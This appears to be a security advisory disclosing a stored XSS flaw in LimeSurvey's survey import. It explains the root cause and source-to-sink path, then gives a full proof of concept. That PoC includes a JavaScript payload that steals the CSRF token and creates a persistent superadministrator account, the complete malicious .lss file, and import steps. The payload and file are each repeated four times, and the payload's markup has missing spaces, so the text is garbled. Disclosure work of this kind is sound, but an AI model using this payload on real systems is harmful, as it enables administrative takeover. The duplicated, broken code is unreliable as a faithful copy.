LimeSurvey fails to safely encode attacker-controlled content from a crafted .lss survey file when displaying import warnings, resulting in XSS in the administrative interface. The attacker requires no LimeSurvey account but must deliver the malicious file and socially engineer a user authorized to import surveys into deliberately selecting and importing it; merely receiving or downloading the file does not trigger exploitation. If the victim is a superadministrator, the injected JavaScript executes within the victim's authenticated LimeSurvey session and can create a persistent attacker-controlled superadministrator account, compromising application data and configuration.
Vulnerability
Root Cause
LimeSurvey treats values extracted from an uploaded .lss file as trusted when constructing and rendering import warnings. The import controller only checks that the authenticated user holds the global surveys:create permission and that the file extension is allowed; it does not validate whether values inside the XML are safe to place in an HTML response.
For .lss files, importSurveyFile() invokes XMLImportSurvey(), which parses the file with simplexml_load_string() using LIBXML_NONET. This flag blocks XML-related network access but does not sanitize HTML or JavaScript contained in XML text or CDATA sections.
Each child element under surveys/rows/row is copied into $insertdata by casting both its name and value to strings, so markup such as an <img> element containing an onerror handler remains intact after parsing.
$insertdata is then compared against the attributes supported by the Survey model. Unknown fields are removed before the survey record is inserted into the database — but instead of being silently discarded, the importer includes their original name and value in a warning:
Neither gT() translation nor sprintf() formatting encode HTML, so $key and $value — both attacker-controlled — reach the warning string exactly as supplied. Removing the unknown field from $insertdata does not remove the attacker-controlled value from the response; it merely redirects it into the warning path.
application/views/surveyAdministration/importSurvey_view.php renders each warning with echo $warning instead of a context-appropriate encoder such as CHtml::encode(). Because of this, the browser interprets the attacker-supplied markup as part of the administrative page: an invalid image source triggers the injected onerror handler, causing arbitrary JavaScript to execute in LimeSurvey's authenticated origin.
Confirmed source-to-sink path
Source:application/controllers/SurveyAdministrationController.php:2479-2524 — actionImport() validates the surveys:create permission and the file extension only.
Parse:application/helpers/admin/import_helper.php:2176-2183 — simplexml_load_string(..., LIBXML_NONET | LIBXML_PARSEHUGE); no HTML sanitization is applied.
Propagate:application/helpers/admin/import_helper.php:2231-2237 — each XML element name/value is cast to string and copied into $insertdata.
Untrusted warning construction:application/helpers/admin/import_helper.php:2311-2317 — unknown fields' key/value are placed unencoded into importwarnings via sprintf().
Sink:application/views/surveyAdministration/importSurvey_view.php:156-164 — echo $warning outputs the value with no encoding.
Impact
The import permission check does not make this behavior intentional or safe. It authorizes survey creation; it does not authorize imported survey data to execute scripts in administrative pages. An external attacker can supply the file without possessing a LimeSurvey account, although exploitation requires a user with survey-import permission to deliberately upload it. When that user is a superadministrator, the JavaScript inherits access to the victim's authenticated session. Same-origin execution allows it to read CSRF tokens and submit authenticated administrative requests, including requests that create a persistent attacker-controlled superadministrator account.
PoC
Preconditions
LimeSurvey Community Edition 7.0.14+260904 is deployed with ./deploy-local.sh and is available at http://127.0.0.1:8081.
The initial admin account is configured and has superadministrator privileges.
The victim has an authenticated LimeSurvey administration session.
The malicious survey file is poc.lss from this directory.
The external attacker who prepares and delivers the .lss file does not need a LimeSurvey account or any application permission.
1. Review the malicious LSS file
The malicious file is attached as poc.lss. It is a minimal valid survey containing an unknown field named xss_warning_field:
<fieldname>xss_warning_field</fieldname>
<fieldname>xss_warning_field</fieldname>
<fieldname>xss_warning_field</fieldname>
<fieldname>xss_warning_field</fieldname>
Its value is the following CDATA-wrapped <img> element with an onerror handler:
<imgsrc=xonerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">
<imgsrc=xonerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">
<imgsrc=xonerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">
<imgsrc=xonerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">
See the attached poc.lss for the complete, valid document (survey and language-setting structures included).
The corresponding row contains an <img> element whose onerror handler:
Obtains the CSRF token from the victim's authenticated page.
Sends an authenticated request to userManagement/applyedit.
Creates a user named attackerAdmin.
Sends an authenticated request to userManagement/saveUserPermissions.
Grants the new user local authentication and global superadministrator permissions.
Changes the page title to report success or failure.
The PoC uses the following credentials for the new account attackerAdmin:attackerAdminaA1!
Sign in as the local admin superadministrator (victim).
3. Import the malicious survey
While authenticated as the victim:
Open Surveys.
Select Create, import, or copy a survey.
Open the Import tab.
Select poc.lss as the survey structure file.
poc.lss:
<?xml version="1.0" encoding="UTF-8"?>
<document><LimeSurveyDocType>Survey</LimeSurveyDocType><DBVersion>711</DBVersion><languages><language>en</language></languages><surveys><fields><fieldname>sid</fieldname><fieldname>admin</fieldname><fieldname>language</fieldname><fieldname>xss_warning_field</fieldname></fields><rows><row><sid><![CDATA[123456]]></sid><admin><![CDATA[Minimal importer]]></admin><language><![CDATA[en]]></language><xss_warning_field><![CDATA[<imgsrc=xonerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">]]></xss_warning_field></row></rows></surveys><surveys_languagesettings><fields><fieldname>surveyls_survey_id</fieldname><fieldname>surveyls_language</fieldname><fieldname>surveyls_title</fieldname></fields><rows><row><surveyls_survey_id><![CDATA[123456]]></surveyls_survey_id><surveyls_language><![CDATA[en]]></surveyls_language><surveyls_title><![CDATA[Minimal valid LSS]]></surveyls_title></row></rows></surveys_languagesettings></document>
<?xml version="1.0" encoding="UTF-8"?>
<document><LimeSurveyDocType>Survey</LimeSurveyDocType><DBVersion>711</DBVersion><languages><language>en</language></languages><surveys><fields><fieldname>sid</fieldname><fieldname>admin</fieldname><fieldname>language</fieldname><fieldname>xss_warning_field</fieldname></fields><rows><row><sid><![CDATA[123456]]></sid><admin><![CDATA[Minimal importer]]></admin><language><![CDATA[en]]></language><xss_warning_field><![CDATA[<imgsrc=xonerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">]]></xss_warning_field></row></rows></surveys><surveys_languagesettings><fields><fieldname>surveyls_survey_id</fieldname><fieldname>surveyls_language</fieldname><fieldname>surveyls_title</fieldname></fields><rows><row><surveyls_survey_id><![CDATA[123456]]></surveyls_survey_id><surveyls_language><![CDATA[en]]></surveyls_language><surveyls_title><![CDATA[Minimal valid LSS]]></surveyls_title></row></rows></surveys_languagesettings></document>
<?xml version="1.0" encoding="UTF-8"?>
<document><LimeSurveyDocType>Survey</LimeSurveyDocType><DBVersion>711</DBVersion><languages><language>en</language></languages><surveys><fields><fieldname>sid</fieldname><fieldname>admin</fieldname><fieldname>language</fieldname><fieldname>xss_warning_field</fieldname></fields><rows><row><sid><![CDATA[123456]]></sid><admin><![CDATA[Minimal importer]]></admin><language><![CDATA[en]]></language><xss_warning_field><![CDATA[<imgsrc=xonerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">]]></xss_warning_field></row></rows></surveys><surveys_languagesettings><fields><fieldname>surveyls_survey_id</fieldname><fieldname>surveyls_language</fieldname><fieldname>surveyls_title</fieldname></fields><rows><row><surveyls_survey_id><![CDATA[123456]]></surveyls_survey_id><surveyls_language><![CDATA[en]]></surveyls_language><surveyls_title><![CDATA[Minimal valid LSS]]></surveyls_title></row></rows></surveys_languagesettings></document>
<?xml version="1.0" encoding="UTF-8"?>
<document><LimeSurveyDocType>Survey</LimeSurveyDocType><DBVersion>711</DBVersion><languages><language>en</language></languages><surveys><fields><fieldname>sid</fieldname><fieldname>admin</fieldname><fieldname>language</fieldname><fieldname>xss_warning_field</fieldname></fields><rows><row><sid><![CDATA[123456]]></sid><admin><![CDATA[Minimal importer]]></admin><language><![CDATA[en]]></language><xss_warning_field><![CDATA[<imgsrc=xonerror="this.onerror=null;(async()=>{const n='attackerAdmin',w=n+'aA1!';const h=await(await fetch('/index.php/admin/index',{credentials:'same-origin'})).text();const m=h.match(/csrfToken\x22\s*:\s*\x22([^\x22]+)/);const t=(window.LS&&window.LS.data&&window.LS.data.csrfToken)||(m&&m[1])||((document.querySelector('input[name=YII_CSRF_TOKEN]')||{}).value);if(!t)throw new Error('csrf token unavailable');const f=(u,b)=>fetch(u,{method:'POST',credentials:'same-origin',headers:{'Content-Type':'application/x-www-form-urlencoded','X-Requested-With':'XMLHttpRequest'},body:b});const c=new URLSearchParams({'YII_CSRF_TOKEN':t,'User[uid]':'','User[users_name]':n,'User[full_name]':n,'User[email]':n+'@test.invalid','preset_password':'1','User[password]':w,'password_repeat':w});const r=await f('/index.php/userManagement/applyedit',c),j=await r.json(),id=((j.href||'').match(/userid=(\d+)/)||[])[1];if(!j.success||!id)throw new Error('user creation failed');const p=new URLSearchParams({'YII_CSRF_TOKEN':t,userid:id});for(const q of ['participantpanel','labelsets','settings','surveys','surveysgroups','templates','usergroups','users','superadmin','auth_db'])for(const a of ['create','read','update','delete','import','export'])p.append('Permission['+q+']['+a+']','on');const g=await f('/index.php/userManagement/saveUserPermissions',p);if(!(await g.json()).success)throw new Error('permission assignment failed');document.documentElement.dataset.lssXssAdmin=n;document.title='LSS-XSS-ADMIN:'+n})().catch(e=>{document.title='LSS-XSS-ERROR:'+e.message})">]]></xss_warning_field></row></rows></surveys><surveys_languagesettings><fields><fieldname>surveyls_survey_id</fieldname><fieldname>surveyls_language</fieldname><fieldname>surveyls_title</fieldname></fields><rows><row><surveyls_survey_id><![CDATA[123456]]></surveyls_survey_id><surveyls_language><![CDATA[en]]></surveyls_language><surveyls_title><![CDATA[Minimal valid LSS]]></surveyls_title></row></rows></surveys_languagesettings></document>
Keep the default survey group.
Click Import survey.
Wait for the survey import summary to render.
LimeSurvey converts the unknown xss_warning_field value into an import warning and renders it as active HTML. The failed image load triggers the onerror handler under the victim's authenticated origin.
Evidence of Exploitation
Video of exploitation:
Static evidence:
Our security policy
We have reserved the ID CVE-2026-91775 to refer to this issue from now on.